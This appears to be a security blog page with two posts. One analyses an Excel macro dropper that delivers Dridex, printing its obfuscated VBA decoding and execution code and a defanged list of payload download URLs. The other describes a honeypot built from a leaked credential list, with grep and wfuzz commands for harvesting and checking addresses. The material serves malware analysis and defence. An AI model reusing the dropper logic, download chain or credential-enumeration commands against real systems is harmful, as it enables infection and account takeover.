Thursday, July 29, 2021

Analyzing an Excel Dridex Dropper

Summer 2021 has been rather rainy 🌧 so far... what better pastime than analyzing some malware? As an example we'll be using the maldoc sample 80fa4862d3d5ffe4a9d472f42e03a59874e76257c6e25c74de83b236f8f99777 which is provided for download from MalwareBazaar.

This maldoc sample is an .xlsm file, an Excel file based on the Office Open XML Format (OOXML) introduced with Microsoft Office 2007. The m denotes that the file includes macros, which of course will contain the malicious code. Since macros are disabled by default for untrusted sources, the document contains a notice asking the viewer to enable them – a common social engineering technique allowing the malicious code to execute on the system.

Let's inspect the contents of the macros using Didier Stevens' olevba:

We can see that the document contains a rather short VBA macro. It consists of a single subroutine called WorkBook_Open(), which will be executed when the file is opened (or as soon as macros are enabled). As obfuscation strategy the code contains many references to cells in the current worksheet. The values of these cells are assigned to a number of misleading variables names, which will be concatenated to produce a payload.

In order to inspect the worksheet cells, I uploaded the document to Google Docs. The lower part of the worksheet contains a large region of decimal numbers and also some strings like "mshta" or "Wscript.Shell" in cells scattered across the document, all of which are off-screen so that they aren't apparent at first sight.


Let's now dive into the VBA code. The first line refers to an environment variable and appends a string to it:
getTickLabelPositionNextToAxis9686 = Environ(Cells(170, 211)) & Cells(51, 76)
We can retrieve the values %ALLUSERSPROFILE% and the string \getAreaStacked1005705.sct from the corresponding cells HC170 and BX51, resulting in the file path C:\ProgramData\getAreaStacked1005705.sct stored into variable getTickLabelPositionNextToAxis9686:

Next, the worksheet Sheet1 is accessed (cell HI62) and the range B158:BP338 is selected from it (taken from cell HY70).

For Each getDColumnClustered1919 In ActiveWorkbook.Sheets(CStr(Cells(62, 217))).Range(CStr(Cells(70, 233)))
  getExcel97959228 = getExcel97959228 & Chr(Round(getDColumnClustered1919.Value))
Next getDColumnClustered1919

From this code we can see that each value in the range B158:BP338 corresponds to an ASCII character originating from its integer part. It was pretty straightforward to reproduce this decoding routine in Google Docs using Apps Script. The result is a payload of type HTML Application (HTA), which can itself execute embedded code, as we will see later.

Next, the HTA payload will be stored on disk using the path determined before (C:\ProgramData\getAreaStacked1005705.sct):

Open getTickLabelPositionNextToAxis9686 For Output As #1
Print #1, getExcel97959228
Close #1

Finally, the HTA payload will be invoked by using an instance of the Windows Scripting Host (Wscript.Shell.Exec), as taken from cell BI156:

With CreateObject(Cells(156, 61))
    .Exec Cells(64, 233) & getTickLabelPositionNextToAxis9686
End With

This in turn will create the mshta.exe process to interpret and execute the HTA file as can be see in this execution of the malware in

The HTA file contains a VBscript element from which we can see a list of download URLs for the second stage:

It will use a MSXML2.ServerXMLHTTP.6.0 instance with a user-agent value of "qPowerTalk" to download a DLL payload on C:\ProgramData\qMillions.dll (688bc9341860e2f04f307f162f71a628896bc6ca9fa200be54eee05a4b69cb72). The payload will get executed using rundll32.exe with entry point D2D1CreateFactory.

As we can see, this second stage sample has been classified as Dridex by several vendors:


  • 80fa4862d3d5ffe4a9d472f42e03a59874e76257c6e25c74de83b236f8f99777 (maldoc)
  • 688bc9341860e2f04f307f162f71a628896bc6ca9fa200be54eee05a4b69cb72 (stage2)

Download URLs:

  • hxxp://docusignupdates[.]com:8088/files/icon_psn98.png
  • hxxp://azuredocs[.]org:8088/css/avatar_xgaf8d.png
  • hxxp://documentupdates[.]com:8088/templates/bacground_k8gad.png
  • hxxp://azuredocs[.]org:8088/javascript/empty_jquz.png
  • hxxp://mydocumentscloud[.]com:8088/app/button_umlnxz.png
  • hxxp://mydocumentscloud[.]xyz:8088/files/icon_psn98.png
  • hxxp://azuredocs[.]org:8088/js/empty_lfqcu.png
  • hxxp://mydocumentscloud[.]xyz:8088/uploads/empty_mtti.png
  • hxxp://docusignupdates[.]com:8088/javascript/bacground_ma8wvc.png
  • hxxp://docusignupdates[.]com:8088/uploads/icon_psn98.png

Sandbox runs:

Tuesday, April 6, 2021

Pwned in 604'800 seconds

Have you ever wondered if your internet accounts were hacked? One way to find out is checking your e-mail address on Troy Hunt's "Have I Been Pwned" website. Troy has been collecting leaked passwords from dozens of breached sites from over a decade. Was your e-mail address involved in a breach and was your password exposed? Then that password is burnt. You need to change it immediately and never use it again. Is this being paranoid? Let's figure out how long it would take for someone to actually hack it.

The idea is to setup a honey account on a popular platform, signing up with known leaked e-mail and password combination. First, we'll need access to one of leaked password dumps, which is not very hard to come by... In late 2016, a huge list of email address and password pairs appeared in a "combo list" referred to as "Exploit.In". The list contained 593 million unique email addresses, many with multiple different passwords hacked from various online systems. The list was broadly circulated and used for "credential stuffing", that is attackers employ it in an attempt to identify other online systems where the account owner had reused their password.

Next we'll need to select one or several abandoned e-mail addresses. For this I decided to focus on the FreeMail service, since it is rather convenient to check the availability of addresses.

Then let's retrieve all addresses from the password dump:

grep -rhi '' | awk -F: '{print $1}' > gmx.txt

There are roughly 140k candidates. I used wfuzz to automate the availability check:

wfuzz -w gmx.txt -H "Authorization: Bearer qXeyJ..." -H "Content-Type: application/json" -H "X-CCGUID: e58d..." -H "User-Agent: hello" -u -d '{"emailAddress": "FUZZ", "countryCode": "CH", "requestedEmailAddressProduct":"gmxnetFree"}' -s 2 -f results.txt --ss true

This endpoint's availability is rate limited, therefore it is necessary to throttle the requests (using -s 2). Nonetheless, this quickly provided a set of candidates.

Now let's register some accounts. I decided to opt for popular platforms, like Instragram, Ebay, etc. using the breached credentials. Now that the honeypots are setup, let's wait...

Within a week (at least) someone identified the breached credentials on Instagram, logged into the honey account and started doing weird stuff, e.g. changing the profile, adding lots of followers, essentially turning the account into a bot.

Here are some takeaways

  1. Use unique passwords for each and every account.
  2. You can't memorize so many passwords? Use a password manager.
  3. If possible, setup Multiple Factor Authentication (MFA).
  4. Subscribe to HIBP's breach notifications.